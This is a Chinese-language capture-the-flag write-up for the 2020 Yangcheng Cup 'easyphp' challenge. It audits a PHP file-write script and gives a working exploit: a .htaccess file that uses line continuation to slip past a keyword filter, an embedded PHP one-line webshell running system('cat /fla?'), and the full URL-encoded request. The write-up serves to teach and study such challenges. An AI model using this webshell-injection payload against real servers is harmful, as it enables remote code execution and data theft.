当前位置:网站首页>[羊城杯2020]easyphp
[羊城杯2020]easyphp
2022-07-02 22:09:00 【-栀蓝-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>代码审计
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
如果不是index.php页面,则会删除页面数据if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} 如果没有传入content或filename参数则直接die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
对传入参数content进行过滤,不能由on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
对传入参数filename进行过滤,filename只能由小写字母和.构成,否则die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
跟最开始的过滤一样,如果不是index.php则会删除数据
file_put_contents($filename, $content . "\nHello, world");
将我们传入的内容content写入filename里面
但注意这里拼接了一个Hello world,会造成我们程序报错最初的想法就是filename为a.php,content传入一句话木马,结果实践:

发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess中\的作用是拼接上下文的,相当于php_value auto_prepend_file.htaccess
因为为了绕过过滤因此从file中间分开

其中利用注释符#将一句话木马写入,是因为在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行
第三行的\是为了和代码最后面拼接的Hello,world也当作注释,否则hello world到第四行会执行报错
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- U++ 学习笔记 堆
- 【板栗糖GIS】global mapper 如何通过dsm批量制作贴地等高线
- What is the'function'keyword used in some bash scripts- What is the 'function' keyword used in some bash scripts?
- U++ learning note pile
- 【微服务|Sentinel】重写sentinel的接口BlockExceptionHandler
- Xiaopeng P7 had an accident and the airbag did not pop up. Is this normal?
- P1007 独木桥
- 加油站[问题分析->问题转换->贪心]
- Methods of adding styles to native JS
- Il n'est pas nécessaire d'appuyer longtemps sur la fonction de démarrage pour modifier Jelly [chapitre]
猜你喜欢

Dynamic memory allocation (malloc calloc realloc free)

Array advanced improvement

Baidu AI Cloud - create a face recognition application

Xiaopeng P7 had an accident and the airbag did not pop up. Is this normal?

杰理之、产线装配环节【篇】
![NC24325 [USACO 2012 Mar S]Flowerpot](/img/cf/86acbcb524b3af0999ce887c877781.png)
NC24325 [USACO 2012 Mar S]Flowerpot

任务和特权级保护

Simpleitk use - 3 Common operations
![[error record] the flutter reports an error (could not read script 'xxx\flutter\u tools\gradle\app\u plugin\u loader.gradle')](/img/02/67448df1817e8b34b654722df8ecd4.jpg)
[error record] the flutter reports an error (could not read script 'xxx\flutter\u tools\gradle\app\u plugin\u loader.gradle')

地方经销商玩转社区团购模式,百万运营分享
随机推荐
[leetcode] there are duplicate elements [217]
[micro service sentinel] rewrite Sentinel's interface blockexceptionhandler
[LeetCode] 数组中的第K个最大元素【215】
Oracle cursor
Unity publishes a method of webgl playing sound
数学建模——图与网络模型及方法(一)
影视随摘
P7072 [CSP-J2020] 直播获奖
Performance optimization - rigorous mode
Notes on key vocabulary in the English original of the biography of jobs (11) [chapter nine]
U++ 学习笔记 ----松弛
php实现根据输入的年龄查询出生日期符合的数据
odoo13搭建医院HRP环境(详细步骤)
boot actuator - prometheus使用
NC50965 Largest Rectangle in a Histogram
Gas station [problem analysis - > problem conversion - > greed]
悬镜安全在RSAC2022上斩获Global InfoSec Awards四项大奖
性能优化----严苛模式
杰理之修改不需要长按开机功能【篇】
php优化foreach中的sql查询